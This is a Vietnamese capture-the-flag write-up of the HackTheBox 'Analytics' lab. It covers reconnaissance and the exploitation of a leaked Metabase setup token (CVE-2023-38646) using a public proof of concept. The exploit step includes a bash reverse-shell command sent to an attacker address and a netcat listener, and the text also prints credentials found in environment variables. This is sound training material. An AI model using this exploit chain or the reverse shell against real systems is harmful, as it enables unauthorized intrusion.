[Write-up] Hackthebox: Analytics. Chỉ thiếu 1 dòng code cũng trở nên nguy hiểm
Giới thiệu
Tưởng chừng như việc nâng cấp code sẽ mang lại cho ứng dụng web thêm tiện ích hay bảo mật. Nhưng không đối với Request-Baskets khi mà trong khi nâng cấp code anh dev đã xoá đi 1 dòng code quan trọng, dẫn đến việc hệ thống bị RCE.
1. Recon
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.233
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-18 22:06 EST
Nmap scan report for 10.10.11.233
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.47 seconds
Thêm dòng sau vào file /etc/hosts
10.10.11.233 analytical.htb
Truy cập vào trang web
Ở đây có 1 subdomain khi truy cập vào login là: data.analytical.htb
Chỉnh sửa file /etc/hosts
10.10.11.233 data.analytical.htb
Tiếp tục truy cập
Metabase là một công cụ thông minh kinh doanh nguồn mở cho phép bạn tạo biểu đồ và trang tổng quan bằng cách sử dụng dữ liệu từ nhiều cơ sở dữ liệu và nguồn dữ liệu khác nhau
2.Enum
Thực hiện directory scan đối với analytical.htb
và data.analytical.htb
┌──(kali㉿kali)-[~]
└─$ ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://analytical.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://analytical.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 17169, Words: 4391, Lines: 365, Duration: 106ms]
images [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 401ms]
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 117ms]
js [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 92ms]
Không có gì đặc biệt cả
3. Exploit
Khi truy cập vào subdomain: data.analytical.htb
Kiểm tra trên burpsuite, thì data.analytical.htb
nó sẽ gọi đến /api/session/properties
Trên /api/session/properties
có lộ 1 setup-token mà chúng ta không cần phải đăng nhập cũng có thể đọc được
Dưới đây là quá trình setup Metabase
Nhưng khi mà trong 1 lần có thể là nâng cấp code của ứng dụng, dev đã xoá đi phần quan trọng nhất là (setup/clear-token!)
Đây là bản code trước khi nâng cấp
Còn đây là sau khi nâng cấp:
Cái dòng setup/clear-token!
hoàn toàn bị xoá đi. Các bạn có thể xem phần so sánh ở đây
Như vậy luồng hoạt động của nó sau khi sửa code sẽ là như sau:
Bước xoá setup-token đã bị bỏ đi
Sau khi research ứng dụng Metabase này dính 1 CVE-2023-38646, để tóm tắt nó sẽ được thực hiện như sau:
- Có được setup-token ở trên
/api/session/properties
như ta đã giải thích ở trên - Biết được 1 API có sử dụng token trên để xác thực kết nối DB
- Biết được 1 lỗ hổng SQL Injection tồn tại trên H2 db driver
- Ta có thể RCE thông qua lỗ hổng SQL Injection
Thực hiện tìm kiếm mã khai thác:
https://github.com/m3m0o/metabase-pre-auth-rce-poc/blob/main/main.py
Chạy mã khai thác:
┌──(kali㉿kali)-[~]
└─$ python3 cveMetaBase.py -u http://data.analytical.htb -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f -c "/bin/bash -i >& /dev/tcp/10.10.16.10/8888 0>&1"
[!] BE SURE TO BE LISTENING ON THE PORT YOU DEFINED IF YOU ARE ISSUING AN COMMAND TO GET REVERSE SHELL [!]
[+] Initialized script
[+] Encoding command
[+] Making request
[+] Payload sent
Lắng nghe và truy cập được vào
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.233] 40850
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
3051021b417f:/$ whoami
whoami
metabase
3051021b417f:/$
Nhưng không có ở flag ở trong thư mục home
Tìm kiếm trên file /etc/proc/environ có thông tin đăng nhập ssh của người dùng metalytics
với mật khẩu là An4lytics_ds20223#
, truy cập và có được flag user
metalytics@analytics:~$ ls
1 l m u user.txt w
metalytics@analytics:~$ cat user.txt
b4ef54038d9d7971c025c51b76be2cc8
metalytics@analytics:~$
4. Recomendation
- Thực hiện nâng cấp metabase lên phiên bản mới nhất
5. Reference
[1]. Giải thích về rce metabase https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
[2]. Poc: https://github.com/m3m0o/metabase-pre-auth-rce-poc
All rights reserved